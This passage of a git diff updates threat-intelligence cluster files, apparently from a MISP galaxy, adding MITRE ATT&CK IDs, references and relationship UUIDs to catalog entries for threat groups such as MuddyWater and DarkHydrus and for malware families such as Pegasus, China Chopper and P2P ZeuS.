"tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8545794-b98c-492b-a5b3-4b5a02682e37", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "269e8108-68c6-4f99-b911-14b2e765dec2", + "value": "MuddyWater - G0069" + }, + { + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) is an Iranian threat group that has targeted government organizations and business entities in the Middle East since at least early 2017. (Citation: Symantec Leafminer July 2018)", + "meta": { + "external_id": "G0077", + "refs": [ + "https://attack.mitre.org/groups/G0077", + "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + ], + "synonyms": [ + "Leafminer" + ] + }, + "related": [ + { + "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6aabc5ec-eae6-422c-8311-38d45ee9838a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "32bca8ff-d900-4877-aa65-d70baa041b74", + "value": "Leafminer - G0077" + }, + { + "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) is a threat group that has targeted government agencies and educational institutions in the Middle East since at least 2016. The group heavily leverages open-source tools and custom payloads for carrying out attacks. (Citation: Unit 42 DarkHydrus July 2018) (Citation: Unit 42 Playbook Dec 2017)", + "meta": { + "external_id": "G0079", + "refs": [ + "https://attack.mitre.org/groups/G0079", + "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/", + "https://pan-unit42.github.io/playbook_viewer/" + ], + "synonyms": [ + "DarkHydrus" + ] + }, + "related": [ + { + "dest-uuid": "b77cf5f3-6060-475d-bd60-40ccbf28fdc2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dc31fe1e-d722-49da-8f5f-92c7b5aff534", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "6b9ebeb5-20bf-48b0-afb7-988d769a2f01", + "value": "DarkHydrus - G0079" } ], - "version": 8 + "version": 11 } diff --git a/clusters/mitre-malware.json b/clusters/mitre-malware.json index 97741d6..a9fb8b6 100644 --- a/clusters/mitre-malware.json +++ b/clusters/mitre-malware.json @@ -10,40 +10,669 @@ "uuid": "d752161c-78f6-11e7-a0ea-bfa79b407ce4", "values": [ { - "description": "Hacking Team UEFI Rootkit is a rootkit developed by the company Hacking Team as a method of persistence for remote access software.[[Citation: TrendMicro Hacking Team UEFI]]", + "description": "[Hacking Team UEFI Rootkit](https://attack.mitre.org/software/S0047) is a rootkit developed by the company Hacking Team as a method of persistence for remote access software. (Citation: TrendMicro Hacking Team UEFI)", "meta": { + "external_id": "S0047", "refs": [ - "https://attack.mitre.org/wiki/Software/S0047", + "https://attack.mitre.org/software/S0047", "http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-uses-uefi-bios-rootkit-to-keep-rcs-9-agent-in-target-systems/" ], - "uuid": "4b62ab58-c23b-4704-9c15-edd568cd59f8" + "synonyms": [ + "Hacking Team UEFI Rootkit" + ] }, - "value": "Hacking Team UEFI Rootkit" + "related": [ + { + "dest-uuid": "0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6856ddd6-2df3-4379-8b87-284603c189c3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "4b62ab58-c23b-4704-9c15-edd568cd59f8", + "value": "Hacking Team UEFI Rootkit - S0047" }, { - "description": "P2P ZeuS is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture.[[Citation: Dell P2P ZeuS]]\n\nAliases: P2P ZeuS, Peer-to-Peer ZeuS, Gameover ZeuS", + "description": "[X-Agent for Android](https://attack.mitre.org/software/S0314) is Android malware that was placed in a repackaged version of a Ukrainian artillery targeting application. The malware reportedly retrieved general location data on where the victim device was used, and therefore could likely indicate the potential location of Ukrainian artillery. (Citation: CrowdStrike-Android) Is it tracked separately from the [Windows and Linux versions of X-Agent](https://attack.mitre.org/software/S0023).", "meta": { + "external_id": "S0314", "refs": [ - "https://attack.mitre.org/wiki/Software/S0016", - "http://www.secureworks.com/cyber-threat-intelligence/threats/The%20Lifecycle%20of%20Peer%20to%20Peer%20Gameover%20ZeuS/" + "https://attack.mitre.org/software/S0314", + "https://www.crowdstrike.com/wp-content/brochures/FancyBearTracksUkrainianArtillery.pdf" + ], + "synonyms": [ + "X-Agent for Android" + ] + }, + "related": [ + { + "dest-uuid": "ccd61dfc-b03f-4689-8c18-7c97eab08472", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "0a32ceea-fa66-47ab-8bde-150dbd6d2e40", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "3e2c99f9-66cd-48be-86e9-d7c1c164d87c", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "0a7d9d22-a26d-4a2b-ab9b-b296176c3ecf", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "56660521-6db4-4e5a-a927-464f22954b7c", + "value": "X-Agent for Android - S0314" + }, + { + "description": "[Pegasus for Android](https://attack.mitre.org/software/S0316) is the Android version of malware that has reportedly been linked to the NSO Group. (Citation: Lookout-PegasusAndroid) (Citation: Google-Chrysaor) The iOS version is tracked separately under [Pegasus for iOS](https://attack.mitre.org/software/S0289).", + "meta": { + "external_id": "S0316", + "refs": [ + "https://attack.mitre.org/software/S0316", + "https://blog.lookout.com/blog/2017/04/03/pegasus-android/", + "https://android-developers.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html" + ], + "synonyms": [ + "Pegasus for Android", + "Chrysaor" + ] + }, + "related": [ + { + "dest-uuid": "9d7c772b-43f1-49cf-bc70-7a7cd2ed34c8", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "52acea22-7d88-433c-99e6-8fef1657e3ad", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62adb627-f647-498e-b4cc-41499361bacb", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "93799a9d-3537-43d8-b6f4-17215de1657c", + "value": "Pegasus for Android - S0316" + }, + { + "description": "[Android Overlay Malware](https://attack.mitre.org/software/S0296) is malware that was used in a 2016 campaign targeting European countries. The malware attempted to trick users into providing banking credentials. (Citation: FireEye-AndroidOverlay)", + "meta": { + "external_id": "S0296", + "refs": [ + "https://attack.mitre.org/software/S0296", + "https://www.fireeye.com/blog/threat-research/2016/06/latest-android-overlay-malware-spreading-in-europe.html" + ], + "synonyms": [ + "Android Overlay Malware" + ] + }, + "related": [ + { + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "b6d3657a-2d6a-400f-8b7e-4d60391aa1f7", + "value": "Android Overlay Malware - S0296" + }, + { + "description": "[Pegasus for iOS](https://attack.mitre.org/software/S0289) is the iOS version of malware that has reportedly been linked to the NSO Group. It has been advertised and sold to target high-value victims. (Citation: Lookout-Pegasus) (Citation: PegasusCitizenLab) The Android version is tracked separately under [Pegasus for Android](https://attack.mitre.org/software/S0316).", + "meta": { + "external_id": "S0289", + "refs": [ + "https://attack.mitre.org/software/S0289", + "https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-technical-analysis.pdf", + "https://citizenlab.org/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/" + ], + "synonyms": [ + "Pegasus for iOS" + ] + }, + "related": [ + { + "dest-uuid": "9d7c772b-43f1-49cf-bc70-7a7cd2ed34c8", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "52acea22-7d88-433c-99e6-8fef1657e3ad", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fd339382-bfec-4bf0-8d47-1caedc9e7e57", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2d646840-f6f5-4619-a5a8-29c8316bbac5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "33d9d91d-aad9-49d5-a516-220ce101ac8a", + "value": "Pegasus for iOS - S0289" + }, + { + "description": "[China Chopper](https://attack.mitre.org/software/S0020) is a [Web Shell](http://attack.mitre.org/techniques/T1100) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)", + "meta": { + "external_id": "S0020", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0020", + "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html", + "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage", + "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + ], + "synonyms": [ + "China Chopper" + ] + }, + "related": [ + { + "dest-uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", + "value": "China Chopper - S0020" + }, + { + "description": "[Skeleton Key](https://attack.mitre.org/software/S0007) is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password. (Citation: Dell Skeleton) Functionality similar to [Skeleton Key](https://attack.mitre.org/software/S0007) is included as a module in [Mimikatz](https://attack.mitre.org/software/S0002).", + "meta": { + "external_id": "S0007", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0007", + "http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/" + ], + "synonyms": [ + "Skeleton Key" + ] + }, + "related": [ + { + "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "89f63ae4-f229-4a5c-95ad-6f22ed2b5c49", + "value": "Skeleton Key - S0007" + }, + { + "description": "[P2P ZeuS](https://attack.mitre.org/software/S0016) is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture. (Citation: Dell P2P ZeuS)", + "meta": { + "external_id": "S0016", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0016", + "http://www.secureworks.com/cyber-threat-intelligence/threats/The_Lifecycle_of_Peer_to_Peer_Gameover_ZeuS/" ], "synonyms": [ "P2P ZeuS", "Peer-to-Peer ZeuS", "Gameover ZeuS" - ], - "uuid": "b2c5d3ca-b43a-4888-ad8d-e2d43497bf85" + ] }, - "value": "P2P ZeuS" + "related": [ + { + "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "b2c5d3ca-b43a-4888-ad8d-e2d43497bf85", + "value": "P2P ZeuS - S0016" }, { - "description": "3PARA RAT is a remote access tool (RAT) programmed in C++ that has been used by Putter Panda.[[Citation: CrowdStrike Putter Panda]]", + "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign. (Citation: Forcepoint Monsoon)", "meta": { + "external_id": "S0130", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0066", + "https://attack.mitre.org/software/S0130", + "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + ], + "synonyms": [ + "Unknown Logger" + ] + }, + "related": [ + { + "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "ab3580c8-8435-4117-aace-3d9fbe46aa56", + "value": "Unknown Logger - S0130" + }, + { + "description": "[Cherry Picker](https://attack.mitre.org/software/S0107) is a point of sale (PoS) memory scraper. (Citation: Trustwave Cherry Picker)", + "meta": { + "external_id": "S0107", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0107", + "https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/" + ], + "synonyms": [ + "Cherry Picker" + ] + }, + "related": [ + { + "dest-uuid": "317fefa6-46c7-4062-adb6-2008cf6bcb41", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "b2203c59-4089-4ee4-bfe1-28fa25f0dbfe", + "value": "Cherry Picker - S0107" + }, + { + "description": "[SpyNote RAT](https://attack.mitre.org/software/S0305) (Remote Access Trojan) is a family of malicious Android apps. The [SpyNote RAT](https://attack.mitre.org/software/S0305) builder tool can be used to develop malicious apps with the malware's functionality. (Citation: Zscaler-SpyNote)", + "meta": { + "external_id": "S0305", + "refs": [ + "https://attack.mitre.org/software/S0305", + "https://www.zscaler.com/blogs/research/spynote-rat-posing-netflix-app" + ], + "synonyms": [ + "SpyNote RAT" + ] + }, + "related": [ + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "20dbaf05-59b8-4dc6-8777-0b17f4553a23", + "value": "SpyNote RAT - S0305" + }, + { + "description": "[3PARA RAT](https://attack.mitre.org/software/S0066) is a remote access tool (RAT) programmed in C++ that has been used by [Putter Panda](https://attack.mitre.org/groups/G0024). (Citation: CrowdStrike Putter Panda)", + "meta": { + "external_id": "S0066", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0066", "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" ], - "uuid": "7bec698a-7e20-4fd3-bb6a-12787770fb1a" + "synonyms": [ + "3PARA RAT" + ] }, "related": [ { @@ -52,18 +681,67 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6aabc5ec-eae6-422c-8311-38d45ee9838a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "3PARA RAT" + "uuid": "7bec698a-7e20-4fd3-bb6a-12787770fb1a", + "value": "3PARA RAT - S0066" }, { - "description": "4H RAT is malware that has been used by Putter Panda since at least 2007.[[Citation: CrowdStrike Putter Panda]]", + "description": "[4H RAT](https://attack.mitre.org/software/S0065) is malware that has been used by [Putter Panda](https://attack.mitre.org/groups/G0024) since at least 2007. (Citation: CrowdStrike Putter Panda)", "meta": { + "external_id": "S0065", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0065", + "https://attack.mitre.org/software/S0065", "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" ], - "uuid": "8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc" + "synonyms": [ + "4H RAT" + ] }, "related": [ { @@ -72,34 +750,68 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "4H RAT" + "uuid": "8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc", + "value": "4H RAT - 